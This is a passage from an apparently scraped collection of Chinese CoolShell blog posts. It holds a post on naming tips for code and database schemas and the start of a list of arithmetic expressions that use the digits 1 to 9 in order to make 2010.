[![Mozilla的一个BUG](../wp-content/uploads/2010/09/Mozilla-150x150.jpg)](https://coolshell.cn/articles/2936.html)[Mozilla的一个BUG](https://coolshell.cn/articles/2936.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/1714.html)[Firefox插件WebMail Notifier](https://coolshell.cn/articles/1714.html)\n* [![TCP 的那些事儿（下）](../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg)](https://coolshell.cn/articles/11609.html)[TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html)\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/799.html)[电子书：编译器设计基础](https://coolshell.cn/articles/799.html)\nThe post [一个浏览器市场占有量的图](https://coolshell.cn/articles/2069.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-6 程序命名的一些提示.md",
    "content": "---\nlayout: post\ntitle: 程序命名的一些提示\ndate: 2010/1/6/ 0:24:41\nupdated: 2010/1/6/ 0:24:41\nstatus: publish\npublished: true\ntype: post\n---\n\n选择一个正确的名字是编程中最重要的事。以前酷壳向大家推荐过两篇文章《[编程命名中的7+1个提示](https://coolshell.cn/articles/1038.html)》 和《[编程中的命名设计那点事](https://coolshell.cn/articles/990.html \"编程中的命名设计那点事\")》，今天再向大家推荐一篇。一个正确的命名可以让你更容易地理解代码的程序，好的命名可以消除二义性，消除误解，并且说明真实的意图，甚至可以让你有清新的气息以让你更能吸引异性。;-)\n\n\n### 方法，类和变量\n\n\n正确的名字可以让你的程序顾名思义，下面是一些提示：\n* **不要使用”ProcessData()“这样的命名**  \n\n你如果在你的程序生涯中使用这样的函数名，那么这意味着你将是一个不合格的程序员而会被淘汰或解雇。请**明确实际的功能**。比如：`ValidateUserLogin（验证用户登录）` 或 `EliminateDuplicateRequests（去除重复请求）` 或 `ComputeAverageAge（计算平均年龄），等等。`\n* **让命名来帮你设计程序**  \n\n让我们假装有这么一条规则是——“任何的函数是有输入/输出的”，那么，你需要思考的是所有的把input变成ouptut的步骤，然后，你可以选择一个简短的句了来说明你的这段程序，然后，把这个短句再精练一下，最终成为你的函数名，而那个短句则成了你程序的结构。\n\n\n\n* **命令不应该是模糊的**  \n\n如果你有一个类名叫：`FilterCriteria` ，但实际上其可用于文件过滤，那么这个类应该叫做： `FileFilterCriteria ，就算是你真要想要用` FilterCriteria，那它也应该是抽象类。\n* **避免过多的工作**  \n\n这只是一个风格上的事情，但还是需要注意一下。在上面，我们使用到了 `ValidateUserLogin` 和 `EliminateDuplicateRequests两个名字，这两个命令看上去需要做很多比较复杂的事。所以，让你的名字变简单一些也有利于你的程序更容易阅读和维护。一个软件本来就是由不同的模块拼成，而一个模块又是由更细小的函数和类拼成。编程中，我们都知道，一个函数的尺寸应该控制在200行以内，一个类的接口应该控制在20个以内。所以，从其名字上我们就不要让一个名字取得太大了。`\n* **避免类名以 “Manager” 结尾**  \n\n这样会让你类变成一个黑盒子，当然，有一些程序员喜欢使用这样的名字让那个类看起来好像更强大一些，但其实这样并不好。一般来说使用Manager这个字眼通常是使用工厂模式，或是一个容器，所以，对于一些最基本的算法或是数据结构的封装，最好是在其名字上体现这一算法或数据结构的名字，如： `SortedList` 和`ConnectionPool 。`\n* **为你的枚举类型使用单数名字**一个枚举类型会列出所有可能的值，所以，叫`animalType` 会比 `animalTypes 要好。`\n* **匈牙利命名应该更多的关注名字的含义而不是类型**  \n\n[匈牙利命名](http://en.wikipedia.org/wiki/Hungarian_notation)是一个以前很流行的命名方法，其给出了一整套的方法告诉你如何标记你的变量的类型，但可惜的是很多程序员过多的关注了变量了类型，而不是变量名的含义。而变量名的含义才是根本。\n* **不要让名字隐藏了内在**  \n\n比如，我们有段代码需要处理用户的输入，把其转成UTF-8码，然后标准化（比如一些协议），最后再处理相应的转义字符。千万不要把这函数命名为`Escape()` ，因为你需要调用 `ToUTF8()` 以及`NormalizeEntities()` 最后才是 `Escape()` 函数。如果你希望使用一个函数名来做这三件事，那么，你宁可使用一个模糊的名字再加上充分的注释，而不是一个确切的名字。模糊的名字会让别人在阅读时想进去看看，而确切的名字则会让别人在阅读代码时忽略细节（这看起来和第一点有点矛盾，其实也是为了程序的易读）。比如：`ProcessUserInput()`\n* **一致性, **一致性**, **一致性****  \n\n强调文章和代码的一致性，就算是文档写得再详细，我们也要去读代码，所以文档主要是体现思路和反映需求和设计。在程序上，我们的命令应当和文档中的术语保持一致，而程序中的命名也应该是用和文档相同的风格，这样，我们可以少很多理解上的成本。\n* **不要害怕改名**有一些时候，你会觉得某具名字不合适，你需要改动一下。但你马上发现要改这个名字，需要修改很多的程序代码。在这里有一个原则，如果你的这个名字不是以API的方式发布时，那么你就应该不要害怕更改名字，就算是修改的工作量并不小，为了日后的更容易的阅读和维护，这是值得的。但是，如果这是一个API的名字，那我还是建议你不要改了，就算是你觉得这个名字烂得很。因为，当你的程序以API的形式发布后，会有N多的他人的程序依赖于这个名字，这个时候，兼容性和用户比什么都重要。\n\n\n### Frameworks 和 Libraries\n\n\n你的用户是一个程序员，他需要使用你的代码进行二次开发。 Namespaces 将会是你重点需要注意的东西。\n\n* **使用namespaces 而不是类的前缀**  \n\n希望你的编程序语言支持namespace，这样，你就可以使用它而不是在类名前面加前缀了。如果你所使用的语言不支持namespace，那么你应该上网看看其它程序员使用什么样的方式来区分自己的代码和别人的代码名字空间。\n* **使用普通的namespace而不是使用公司名**  \n\n使用公司名做namespace并不是一个好的相法，因为公司名很容易变更，比如，公司因为被收购，被控告，合并，重组等原因需要更名。产品的名字同样也会改变。所以，使用一个普通的namespaces会好一些。如STL，ACE等。\n\n\n\n### 数据库\n\n\nDatabase Schemas 意为数据模型，所以，其名字应该和其领域是合乎逻辑的，而不是为了编程的方便。\n* **数据表应使用复数**  \n\n别使用单数形式，这是因为在远古的ORM 中需要使用单数的形式来定义类名。而且，一个表中包含了许多行数据，所以也应该是复数的。如，”items“, “customers“, “journalEntries” 等等。,\n* **为那些包括派生数据或是日常处理的表使用aux\\_ 和meta\\_ 前缀**  \n\n这些表中的数据都是用来做为临时处理的，所以，你需要一个前缀或是后缀来使他们区别于实际的表。\n* **为主键加入表名**如果你有一张表叫 “driverLicenses” 而ID 列是主键，那么你应该把这个主键命名为”driverLicense\\_id” 而不是”id”。这样做的好处是，当你在连接两个表的时候，你不需要为主键指定表名，如： “driverLicense.id” 或”vehicle.id“，也不需要为其取别名。\n* **使用后缀来标识类**  \n\n这样的例子很多，比如：ISBN 和Dewey Decimal numbers，VIN等等.  \n\nJoe Celko有一篇文章叫 [SQL Programming Style](http://www.amazon.com/gp/product/0120887975?ie=UTF8&tag=synesmedia-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0120887975)提到了下面这样的风格：  \n\n\\_id 主键  \n\n\\_nbr 字符串型的数位（有严格的规则，如：车牌号，身份证号，手机号等）  \n\n\\_code 标准化编码(如：邮编，ISO 国家编码)  \n\n\\_cat 种类名  \n\n\\_class 子集  \n\n\\_type 稍不正式的类名，比如，驾照中的，”摩托车”, “汽车”, and “出租车” 类型。\n\n\n### 其它\n\n\n\n* **对于“物理上”的东西，命名其是什么，而不是做什么**  \n\n比如某些物理上的名字，姓名，性别，文件路径，网络链接，文件描述符，下标索引，类的属性，这些都是物理上的东西，所以，其名字应该是标识其是什么，而不是用来做什么。\n* **对于“逻辑上”的东西，命名其做什么，而不是是什么**  \n\n比如某些逻辑上的名字，函数名，数据结构，等。\n* **避免”Category” 问题**  \n\n千万别使用”Category” 作为你的属性名，因为，你会马上发现，这并不靠谱，因为这就等于什么没有说。与此相类似的还有”type” ，”kind” ，”variant” ，”classification” ，”subcategory” 等，对于这些名字，没人知道其是什么东西。而应该使用更为明确的分类，如： “FuelEfficiencyGrade”, “PackagingType”, “AgeGroup”, “Flamability”, “AllergenLevel”, 等等。\n\n\n文章：[来源](http://sites.google.com/site/yacoset/Home/naming-tips)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [程序命名的一些提示](https://coolshell.cn/articles/1990.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-7 2010 = 1+2-(3-4-5)_6_7_8-9.md",
    "content": "---\nlayout: post\ntitle: 2010 = 1+2-(3-4-5)*6*7*8-9\ndate: 2010/1/7/ 0:22:13\nupdated: 2010/1/7/ 0:22:13\nstatus: publish\npublished: true\ntype: post\n---\n\n 这是一个数字游戏，使用123456789，并按照123456789的顺序，使用加减乘除以及括号，进行操作使其结果等于2010（原来的游戏是使其值为100，[请看这里](http://www.cut-the-knot.org/do_you_know/digits.shtml)），那么会有多少种解法呢？下面是924种解法，其让我想起了“24点游戏”。\n\n\n这里，如果让你写一段程序来生成所有的可能，你知道怎么写这段程序吗？\n\n\n#### 使用单个数\n\n\n2010 = 1+2-(3-4-5)\\*6\\*7\\*8-9  \n\n2010 = 1-(2+(3-4-5)\\*6\\*7)\\*8+9  \n\n2010 = 1+2+(3+4\\*(5+6\\*7+8))\\*9  \n\n2010 = 1+2\\*(3\\*4\\*(5+6)-7)\\*8+9  \n\n2010 = 1\\*2\\*3\\*(4\\*(5\\*6+7\\*8)-9)  \n\n2010 = 1+2+(3+4\\*(5-6+7\\*8))\\*9  \n\n2010 = (1-2-3+4\\*(5/6+7\\*8))\\*9  \n\n2010 = (1+2+3\\*4)\\*(5-6+(7+8)\\*9)  \n\n2010 = 1+2+((3\\*(4+5)+6)\\*7-8)\\*9  \n\n2010 = (1+2+3)\\*(4\\*(5\\*6+7\\*8)-9)  \n\n2010 = 1+2+3\\*(4\\*(5+6)\\*(7+8)+9)  \n\n2010 = (1\\*2/3)\\*((4+5)\\*6\\*7\\*8-9)  \n\n2010 = (1-2-3)\\*((4+5)/6-7\\*8\\*9)  \n\n2010 = (1\\*2+(3-4\\*(5/6-7))\\*8)\\*9  \n\n2010 = 1\\*(2+(3-4\\*(5/6-7))\\*8)\\*9  \n\n2010 = (1+2\\*(3+4))\\*(5-6+(7+8)\\*9)\n\n\n\n#### 使用多位数\n\n\n2010 = 12\\*34\\*5-6-7-8-9  \n\n2010 = 12\\*34\\*5+6\\*7-8\\*9  \n\n2010 = 1+2345\\*6/7+8-9  \n\n2010 = 12-3\\*(4+5-678)-9  \n\n2010 = 123\\*4\\*5-(6\\*7+8)\\*9  \n\n2010 = 1+2-3\\*(4\\*5\\*6-789)  \n\n2010 = 123\\*4\\*5+(6-7\\*8)\\*9  \n\n2010 = 12\\*34+(5+6+7)\\*89  \n\n2010 = 12\\*3\\*45+6\\*(7\\*8+9)  \n\n2010 = 12+3\\*(4-5+67+8)\\*9  \n\n2010 = (12-3)\\*4\\*56-7-8+9  \n\n2010 = 12-(3-4\\*56+7-8)\\*9  \n\n2010 = (1\\*2+34)\\*56-7-8+9  \n\n2010 = 1\\*(2+34)\\*56-7-8+9  \n\n2010 = 12\\*3\\*45-6\\*(7-8\\*9)  \n\n2010 = 1+2\\*(34\\*5\\*6-7)-8-9  \n\n2010 = 1+2-(3-45+6)\\*7\\*8-9  \n\n2010 = 1\\*2\\*3\\*(45\\*6+7\\*8+9)  \n\n2010 = (1+2)\\*3\\*4\\*56-7-8+9  \n\n2010 = 1\\*2\\*3\\*(45\\*6-7+8\\*9)  \n\n2010 = 12-(3/4-5)\\*6\\*78+9  \n\n2010 = 1+(2/3)\\*45\\*67+8-9  \n\n2010 = 1+23-4\\*(5/6-7\\*8)\\*9  \n\n2010 = (1-2/3+4\\*56+7-8)\\*9  \n\n2010 = 1+2-3\\*(4-5)\\*(678-9)  \n\n2010 = (1-2)\\*3\\*(4-5-678+9)  \n\n2010 = 1+2-3\\*((4-5)\\*678+9)  \n\n2010 = (1+2)\\*(3-4\\*5+678+9)  \n\n2010 = 1+(2+3)\\*(456-7\\*8)+9  \n\n2010 = (12+3-45)\\*67\\*(8-9)  \n\n2010 = 1-(23-(45-6)\\*7)\\*8+9  \n\n2010 = 12-3\\*(4+5-(67+8)\\*9)  \n\n2010 = 12-(3-45\\*(6+7-8))\\*9  \n\n2010 = 1\\*(23-4\\*56)\\*(7-8-9)  \n\n2010 = (1\\*23-4\\*56)\\*(7-8-9)  \n\n2010 = (1+23/4)\\*5\\*67\\*8/9  \n\n2010 = 12-3\\*(4+(5-6)\\*78)\\*9  \n\n2010 = (1-23-45)\\*(6\\*7-8\\*9)  \n\n2010 = 1\\*((2+34)\\*56-7-8+9)  \n\n2010 = 1\\*((2+34)\\*56-7-8)+9  \n\n2010 = 1\\*((2+34)\\*56-7)-8+9  \n\n2010 = 12+3\\*(4\\*(5-6)+78)\\*9  \n\n2010 = (1-2-34+5)\\*67\\*(8-9)  \n\n2010 = 1+(2+34)\\*56+7\\*(8-9)  \n\n2010 = 1+2+((34+5-6)\\*7-8)\\*9  \n\n2010 = 1-(2-3-4)\\*(56\\*7+8)+9  \n\n2010 = 1+2+(3+4\\*(56+7-8))\\*9  \n\n2010 = (1+2\\*34)\\*(5\\*6+7-8)+9  \n\n2010 = (12+3)\\*4+5\\*6\\*(7\\*8+9)  \n\n2010 = (1+2\\*34\\*5-6)\\*(7+8-9)  \n\n2010 = 1-(2+3-45)\\*(6\\*7+8)+9  \n\n2010 = 1-(2+(3-45+6)\\*7)\\*8+9  \n\n2010 = (1-2+(3+45)\\*6)\\*7-8+9  \n\n2010 = (1+2)\\*(3\\*4\\*56-7+8)-9  \n\n2010 = (1+2+3)\\*(45\\*6+7\\*8+9)  \n\n2010 = 1\\*2\\*((3\\*4-5+6)\\*78-9)  \n\n2010 = (1+2+3)\\*(45\\*6-7+8\\*9)  \n\n2010 = 1+2-3\\*(45-6\\*7\\*(8+9))  \n\n2010 = (12+3)\\*(4\\*5+6\\*7+8\\*9)  \n\n2010 = (12+3)\\*4-5\\*6\\*(7-8\\*9)  \n\n2010 = 1+2\\*(3\\*(4+5\\*67)-8)-9  \n\n2010 = 1+(2+3-45)\\*(6-7\\*8)+9  \n\n2010 = (12+3-45)\\*67/(8-9)  \n\n2010 = 12+3\\*(4/(5-6)+78)\\*9  \n\n2010 = 1-(2+3\\*45/6)\\*(7-89)  \n\n2010 = (1+2)\\*34\\*5\\*67/(8+9)  \n\n2010 = (1-2-34+5)\\*67/(8-9)  \n\n2010 = 1+(2+34)\\*56+7/(8-9)  \n\n2010 = 12+(3/4)\\*(5\\*6+7)\\*8\\*9  \n\n2010 = (1\\*2/3-4)\\*(5+6-78)\\*9  \n\n2010 = 1\\*(2/3-4)\\*(5+6-78)\\*9  \n\n2010 = 12-(3/4)\\*(5-6\\*7)\\*8\\*9  \n\n2010 = (1\\*2/3-4\\*56)\\*(7-8)\\*9  \n\n2010 = 1\\*(2/3-4\\*56)\\*(7-8)\\*9  \n\n2010 = (1+2)\\*((3-4)\\*5+678)-9  \n\n2010 = (1+(2-3)\\*4)\\*(5-678)-9  \n\n2010 = (1+2)\\*(3-4)\\*(5-678)-9  \n\n2010 = (12+3)\\*(45-(6-7)\\*89)  \n\n2010 = 12+3\\*((4+5)\\*(67+8)-9)  \n\n2010 = 1-((2+34)\\*56-7)\\*(8-9)  \n\n2010 = (1-2+3\\*45)\\*(6-(7-8)\\*9)  \n\n2010 = 12-(3-(4+5+6)\\*(7+8))\\*9  \n\n2010 = (12+3)\\*(4+5+6+7\\*(8+9))  \n\n2010 = (1+2)\\*(3+4\\*(5+6)+7\\*89)  \n\n2010 = 1+2-(3/(4-5))\\*(678-9)  \n\n2010 = ((1+2)/3-4)\\*(5-678)-9  \n\n2010 = 1-(23+(4+5)/6)\\*(7-89)  \n\n2010 = 1-((2+34)\\*56-7)/(8-9)  \n\n2010 = (1+2+3/4)\\*(5+(67-8)\\*9)  \n\n2010 = 12\\*(3-4\\*(5-(6-7/8)\\*9))  \n\n2010 = 1-(2+(3/4)\\*5\\*6)\\*(7-89)  \n\n2010 = (1+2)\\*((3-4)\\*5+(67+8)\\*9)  \n\n2010 = (1+(2-3)\\*4)\\*(5-(67+8)\\*9)  \n\n2010 = (1+2)\\*(3-4)\\*(5-(67+8)\\*9)  \n\n2010 = (1-(23+4)\\*5)\\*(6\\*(7-8)-9)  \n\n2010 = (12+3)\\*((4+5)\\*(6+7)+8+9)  \n\n2010 = (12/3)\\*((4-5)/6+7\\*8)\\*9  \n\n2010 = ((1\\*2/3-4\\*56)/(7-8))\\*9  \n\n2010 = (1\\*(2/3-4\\*56)/(7-8))\\*9  \n\n2010 = ((1+2)/(3-4))\\*(5-678)-9  \n\n2010 = ((12+3)/4)\\*(5+(67-8)\\*9)  \n\n2010 = ((1+2)/3-4)\\*(5-(67+8)\\*9)  \n\n2010 = (1-(23+4)\\*5)\\*(6/(7-8)-9)  \n\n2010 = ((1+2)/(3-4))\\*(5-(67+8)\\*9)\n\n\n#### 使用小数\n\n\n2010 = 1+2+.3\\*4\\*5\\*6\\*7\\*8-9  \n\n2010 = 1+2+3\\*.4\\*5\\*6\\*7\\*8-9  \n\n2010 = 1+2+3\\*4\\*.5\\*6\\*7\\*8-9  \n\n2010 = 1+2+3\\*4\\*5\\*.6\\*7\\*8-9  \n\n2010 = 1+2+3\\*4\\*5\\*6\\*.7\\*8-9  \n\n2010 = 1+2+3\\*4\\*5\\*6\\*7\\*.8-9  \n\n2010 = 1/.2+345\\*6-7\\*8-9  \n\n2010 = 1/.2+345\\*6+7-8\\*9  \n\n2010 = 1+2\\*3\\*4\\*56/.7+89  \n\n2010 = 12+(34.5\\*6+7+8)\\*9  \n\n2010 = 1+234.5\\*6/.7+8-9  \n\n2010 = (1234+567+8)/.9  \n\n2010 = 1+2345\\*.6/.7+8-9  \n\n2010 = 12-34\\*(.5-67+8)+9  \n\n2010 = 12-(3\\*4-5\\*6\\*7.8)\\*9  \n\n2010 = 12\\*(3\\*4-.5+67+89)  \n\n2010 = 1\\*(2345-67\\*8)/.9  \n\n2010 = (1\\*2345-67\\*8)/.9  \n\n2010 = 12+3\\*(.4\\*5-6+78)\\*9  \n\n2010 = 12+3\\*(4\\*.5-6+78)\\*9  \n\n2010 = 12-(3\\*4-.5\\*6\\*78)\\*9  \n\n2010 = 12-(3\\*4-5\\*.6\\*78)\\*9  \n\n2010 = 1-(2-.3\\*4\\*5\\*6\\*7)\\*8+9  \n\n2010 = 1-(2-3\\*.4\\*5\\*6\\*7)\\*8+9  \n\n2010 = 1-(2-3\\*4\\*.5\\*6\\*7)\\*8+9  \n\n2010 = 1-(2-3\\*4\\*5\\*.6\\*7)\\*8+9  \n\n2010 = 1-(2-3\\*4\\*5\\*6\\*.7)\\*8+9  \n\n2010 = 1+2+3-4\\*(.5\\*6-7\\*8\\*9)  \n\n2010 = 1+2+3-4\\*(5\\*.6-7\\*8\\*9)  \n\n2010 = 1\\*2\\*3-4\\*(.5\\*6-7\\*8\\*9)  \n\n2010 = 1\\*2\\*3-4\\*(5\\*.6-7\\*8\\*9)  \n\n2010 = 12\\*(34\\*5-.6+7-8.9)  \n\n2010 = .1+23\\*(45+6\\*7)+8.9  \n\n2010 = .1+23\\*(4\\*5+67)+8.9  \n\n2010 = .1+2345\\*6/7+.8-.9  \n\n2010 = 12+3\\*(45/.6+7-8)\\*9  \n\n2010 = .1+2-3\\*(4+5-678)+.9  \n\n2010 = 1+2-(3-.4\\*567+.8)\\*9  \n\n2010 = 1+2-(3-4\\*56.7+.8)\\*9  \n\n2010 = (12/.3-4)\\*56-7-8+9  \n\n2010 = 1.2+(3+45)\\*6\\*7-.8\\*9  \n\n2010 = 1.2+(3+45)\\*6\\*7-8\\*.9  \n\n2010 = 12\\*34\\*5+6/(7-.8\\*9)  \n\n2010 = 12\\*34\\*5+6/(7-8\\*.9)  \n\n2010 = 12\\*(34\\*5-.6+7-8-.9)  \n\n2010 = (1.2+34+5)\\*(67-8-9)  \n\n2010 = 1+2+3\\*(4+56/.7)\\*8-9  \n\n2010 = 12+3\\*(.4-5+.6+78)\\*9  \n\n2010 = .1+23\\*(45+6\\*7)+8+.9  \n\n2010 = .1+23\\*(4\\*5+67)+8+.9  \n\n2010 = 12+3\\*45\\*(.6+7+.8\\*9)  \n\n2010 = 1-(23-4.5+6)\\*(7-89)  \n\n2010 = 1\\*2\\*3\\*(4/.5+6\\*7\\*8-9)  \n\n2010 = 12-(3-4.5\\*(6\\*7+8))\\*9  \n\n2010 = (1+2)\\*(3-.4\\*5+678-9)  \n\n2010 = (1+2)\\*(3-4\\*.5+678-9)  \n\n2010 = 12\\*(3.4\\*56\\*7/8+.9)  \n\n2010 = 12\\*(34+(.5-6+7)\\*89)  \n\n2010 = 1+.2+(3+45)\\*6\\*7-.8\\*9  \n\n2010 = 1+.2+(3+45)\\*6\\*7-8\\*.9  \n\n2010 = 12-(3+4.5\\*(6-7\\*8))\\*9  \n\n2010 = 12+((34+.5)\\*6+7+8)\\*9  \n\n2010 = 1+(234+.5)\\*6/.7+8-9  \n\n2010 = (1+.2+34+5)\\*(67-8-9)  \n\n2010 = 12+(.3-4)\\*(5-67\\*8-9)  \n\n2010 = 12\\*3\\*(45+6\\*7/8)/.9  \n\n2010 = 12-(34+5\\*(.6-7)\\*8)\\*9  \n\n2010 = 12+(34\\*(.5+6)-7+8)\\*9  \n\n2010 = 1+(2/.3)\\*4.5\\*67+8-9  \n\n2010 = 1+(2/.3)\\*45\\*6.7+8-9  \n\n2010 = 1-(23-4-.5+6)\\*(7-89)  \n\n2010 = 1-(2-3-4)\\*(56\\*7+.8+9)  \n\n2010 = 1\\*2\\*(34-.5)\\*(6+7+8+9)  \n\n2010 = (1+23-4)\\*5\\*(6+7+8-.9)  \n\n2010 = (1+2\\*34)\\*(.5\\*6\\*7+8)+9  \n\n2010 = (1+2\\*34)\\*(5\\*.6\\*7+8)+9  \n\n2010 = (1+2\\*34)\\*(5\\*6\\*.7+8)+9  \n\n2010 = 12\\*(3+4)+5\\*(6\\*7+.8)\\*9  \n\n2010 = 12-3\\*(4-5\\*(.6+7+8))\\*9  \n\n2010 = (1-2\\*34)\\*.5\\*6\\*(7-8-9)  \n\n2010 = (1+2)\\*34+5\\*(6-.7)\\*8\\*9  \n\n2010 = 12+3\\*4\\*(5\\*(6-.7)-8)\\*9  \n\n2010 = 12-(.3/.4-5)\\*6\\*78+9  \n\n2010 = 12-(3\\*4-5\\*6\\*(7+.8))\\*9  \n\n2010 = 1\\*2\\*(3\\*4\\*(.5+6+78)-9)  \n\n2010 = 1-(2-34)\\*(.5+6+7\\*8)+9  \n\n2010 = 1-(2+34+5-6)\\*7\\*(.8-9)  \n\n2010 = 1-(234+5+6)\\*(.7-8.9)  \n\n2010 = (1+2+3+4\\*56)\\*(.7+8)+9  \n\n2010 = (1\\*2\\*3+4\\*56)\\*(.7+8)+9  \n\n2010 = 1\\*(2\\*3+4\\*56)\\*(.7+8)+9  \n\n2010 = (1+(234+5-6-7)\\*8)/.9  \n\n2010 = (1\\*2+3)\\*4\\*5\\*(6+7+8-.9)  \n\n2010 = 1.2\\*(34-.5)\\*(67-8-9)  \n\n2010 = 1\\*(2+3)\\*4\\*5\\*(6+7+8-.9)  \n\n2010 = 1-(2+3)\\*4\\*(.5-6-7)\\*8+9  \n\n2010 = (123/.4+5)\\*6+(7+8)\\*9  \n\n2010 = (12/3)\\*(4.5-6+7\\*8\\*9)  \n\n2010 = 1\\*2\\*(3\\*(.4\\*5+6\\*7\\*8)-9)  \n\n2010 = 1\\*2\\*(3\\*(4\\*.5+6\\*7\\*8)-9)  \n\n2010 = 1\\*(2\\*3-4\\*(.5\\*6-7\\*8\\*9))  \n\n2010 = 1\\*(2\\*3-4\\*(5\\*.6-7\\*8\\*9))  \n\n2010 = (1+2)\\*(3-4/.5+678)-9  \n\n2010 = (1-2+3+4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = 1\\*2\\*3\\*(4+(.5+6\\*7)\\*8-9)  \n\n2010 = 1/.2+34-5\\*6\\*(.7-8)\\*9  \n\n2010 = ((123+4\\*5)/.6-7-8)\\*9  \n\n2010 = 12\\*(34\\*5-.6\\*7+.8+.9)  \n\n2010 = 12\\*(34\\*5-6\\*.7+.8+.9)  \n\n2010 = (1\\*2/3+4-.5)\\*67\\*.8\\*9  \n\n2010 = 1-(2\\*3\\*4+5+6)\\*7\\*(.8-9)  \n\n2010 = .1\\*(2/3+4-.5)\\*67\\*8\\*9  \n\n2010 = 1\\*(2/3+4-.5)\\*67\\*.8\\*9  \n\n2010 = 1+23-4\\*(.5/.6-7\\*8)\\*9  \n\n2010 = 1+(2-3-4+5\\*6\\*7)\\*(.8+9)  \n\n2010 = 1-2\\*(3+4\\*5\\*(.6-7))\\*8+9  \n\n2010 = 1+(2-3-4-5\\*6)\\*7\\*(.8-9)  \n\n2010 = (1-.2/.3+4\\*56+7-8)\\*9  \n\n2010 = (1+23)\\*(4+5+67/.8-9)  \n\n2010 = 1-(234+5+6)\\*(.7-8-.9)  \n\n2010 = 12+((3\\*4/.5)\\*6+78)\\*9  \n\n2010 = 12-3\\*(.4-5.6\\*7\\*(8+9))  \n\n2010 = (1+2.3/.4)\\*5\\*67\\*8/9  \n\n2010 = (1+23/4)\\*5\\*6.7\\*8/.9  \n\n2010 = 12\\*(3\\*(4+5-.6)\\*7-8.9)  \n\n2010 = (1\\*2-34\\*(.5-67)\\*8)/9  \n\n2010 = 1\\*(2-34\\*(.5-67)\\*8)/9  \n\n2010 = (1+2)\\*(3\\*45+6\\*78)/.9  \n\n2010 = 1+(2/.3)\\*4\\*(5+67)+89  \n\n2010 = (1/.2)\\*(3-4\\*56+7\\*89)  \n\n2010 = (1-23-4/.5)\\*67\\*(8-9)  \n\n2010 = .1+234.5\\*6/.7+.8-.9  \n\n2010 = (1-2+34/.5)\\*(6+7+8+9)  \n\n2010 = 1\\*2\\*3\\*(.4-.5+6\\*7\\*8-.9)  \n\n2010 = ((12/3)\\*456-7-8)/.9  \n\n2010 = (1+(234-56/7)\\*8)/.9  \n\n2010 = (12/3)\\*(4+.5-6+7\\*8\\*9)  \n\n2010 = 12-(3-45\\*(6\\*.7+.8))\\*9  \n\n2010 = (1+23)/.4+5\\*6\\*(7\\*8+9)  \n\n2010 = 1+(2/.3+4\\*5)\\*(67+8)+9  \n\n2010 = 1-(2-3\\*(4+56/.7))\\*8+9  \n\n2010 = (.1-2\\*3.4)\\*5\\*6\\*(7-8-9)  \n\n2010 = 1+((2+3)\\*4/.56)\\*7\\*8+9  \n\n2010 = 12\\*((34-5)\\*6-.7\\*8-.9)  \n\n2010 = 12\\*((34-5)\\*6-7\\*.8-.9)  \n\n2010 = 12\\*((34-5)\\*6+.7-.8\\*9)  \n\n2010 = 12\\*((34-5)\\*6+.7-8\\*.9)  \n\n2010 = (12-3+4\\*5\\*6\\*(7+8))/.9  \n\n2010 = 12-3\\*(.4-56\\*.7\\*(8+9))  \n\n2010 = 12\\*(.3+4\\*(56-7-.8\\*9))  \n\n2010 = 12\\*(.3+4\\*(56-7-8\\*.9))  \n\n2010 = (1+23/4)\\*.5\\*67\\*8/.9  \n\n2010 = (1+23/4)\\*5\\*67\\*.8/.9  \n\n2010 = (12-3)\\*4\\*(.5/6+7\\*8)-9  \n\n2010 = 1\\*(23+4)\\*(5+6+7\\*8)/.9  \n\n2010 = (1\\*23+4)\\*(5+6+7\\*8)/.9  \n\n2010 = (1\\*2+34)\\*(.5/6+7\\*8)-9  \n\n2010 = 1\\*(2+34)\\*(.5/6+7\\*8)-9  \n\n2010 = 1+(2/.34+5+6)\\*7\\*(8+9)  \n\n2010 = (1-(2+3-4\\*56-7)\\*8)/.9  \n\n2010 = 1+2+(3\\*4/.5)\\*(6+78)-9  \n\n2010 = 1+(2+34\\*(5+6\\*7))/.8+9  \n\n2010 = 12-(3+45\\*(.6-.7\\*8))\\*9  \n\n2010 = 12-(3+45\\*(.6-7\\*.8))\\*9  \n\n2010 = (1+23)/.4-5\\*6\\*(7-8\\*9)  